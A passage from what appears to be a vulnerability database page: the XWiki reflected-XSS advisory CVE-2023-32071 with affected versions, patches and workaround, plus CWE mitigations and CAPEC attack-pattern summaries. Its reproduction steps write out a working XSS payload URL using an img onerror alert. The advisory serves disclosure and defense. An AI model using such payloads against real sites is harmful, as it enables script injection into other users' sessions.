"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "motionEye vulnerable to RCE via unsanitized motion config parameter"
}
GHSA-J9H5-VCGV-2JFM
Vulnerability from github – Published: 2023-05-09 17:46 – Updated: 2023-05-09 18:44Impact
It's possible to execute javascript with the right of any user by leading him to a special URL on the wiki targeting a page which contains an attachment.
To reproduce:
* add an attachment to a page (for example, your user profile)
* add ?xpage=importinline&editor=%22%3E%3Cimg%20src%20onerror=alert(document.domain)%3E to the page view URL as in https://myhost/xwiki/bin/view/XWiki/MyUser?xpage=importinline&editor=%22%3E%3Cimg%20src%20onerror=alert(document.domain)%3E
Patches
This has been patched in XWiki 15.0-rc-1, 14.10.4 and 14.4.8.
Workarounds
The easiest is to edit file <xwiki app>/templates/importinline.vm and apply the modification described on https://github.com/xwiki/xwiki-platform/commit/28905f7f518cc6f21ea61fe37e9e1ed97ef36f01
References
https://jira.xwiki.org/browse/XWIKI-20340 https://app.intigriti.com/company/submissions/e95a7ad5-7029-4627-abf0-3e3e3ea0b4ce/XWIKI-E93DFEYK
Attribution
This vulnerability has been reported on Intigriti by René de Sain @renniepak.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-distribution-war"
},
"ranges": [
{
"events": [
{
"introduced": "2.2-milestone-1"
},
{
"fixed": "14.4.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-distribution-war"
},
"ranges": [
{
"events": [
{
"introduced": "14.5"
},
{
"fixed": "14.10.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-32071"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2023-05-09T17:46:22Z",
"nvd_published_at": "2023-05-09T16:15:15Z",
"severity": "CRITICAL"
},
"details": "### Impact\n\nIt\u0027s possible to execute javascript with the right of any user by leading him to a special URL on the wiki targeting a page which contains an attachment.\n\nTo reproduce:\n* add an attachment to a page (for example, your user profile)\n* add `?xpage=importinline\u0026editor=%22%3E%3Cimg%20src%20onerror=alert(document.domain)%3E` to the page view URL as in `https://myhost/xwiki/bin/view/XWiki/MyUser?xpage=importinline\u0026editor=%22%3E%3Cimg%20src%20onerror=alert(document.domain)%3E`\n\n### Patches\n\nThis has been patched in XWiki 15.0-rc-1, 14.10.4 and 14.4.8.\n\n### Workarounds\n\nThe easiest is to edit file `\u003cxwiki app\u003e/templates/importinline.vm` and apply the modification described on https://github.com/xwiki/xwiki-platform/commit/28905f7f518cc6f21ea61fe37e9e1ed97ef36f01\n\n### References\n\nhttps://jira.xwiki.org/browse/XWIKI-20340\nhttps://app.intigriti.com/company/submissions/e95a7ad5-7029-4627-abf0-3e3e3ea0b4ce/XWIKI-E93DFEYK\n\n### Attribution\n\nThis vulnerability has been reported on Intigriti by Ren\u00e9 de Sain @renniepak.",
"id": "GHSA-j9h5-vcgv-2jfm",
"modified": "2023-05-09T18:44:13Z",
"published": "2023-05-09T17:46:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-j9h5-vcgv-2jfm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32071"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/commit/28905f7f518cc6f21ea61fe37e9e1ed97ef36f01"
},
{
"type": "WEB",
"url": "https://app.intigriti.com/company/submissions/e95a7ad5-7029-4627-abf0-3e3e3ea0b4ce/XWIKI-E93DFEYK"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki/xwiki-platform"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-20340"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "XWiki Platform vulnerable to RXSS via editor parameter - importinline template"
}
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
- Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.
Mitigation
Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
Mitigation
In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.
Mitigation
Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).
Mitigation
Fully specify which encodings are required by components that will be communicating with each other.
Mitigation
When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
CAPEC-104: Cross Zone Scripting
An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.
CAPEC-73: User-Controlled Filename
An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.
CAPEC-81: Web Server Logs Tampering
Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.